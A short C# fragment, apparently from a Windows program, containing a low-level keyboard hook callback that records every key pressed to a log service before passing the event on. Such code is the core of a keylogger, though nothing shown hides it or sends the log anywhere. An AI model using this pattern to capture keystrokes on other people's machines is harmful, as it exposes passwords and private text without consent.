private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
 {
     if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
     {
         int vkCode = Marshal.ReadInt32(lParam);
         _logService.AddEntryToLog(((Keys)vkCode).ToString());
     }
     return(CallNextHookEx(_hookID, nCode, wParam, lParam));
 }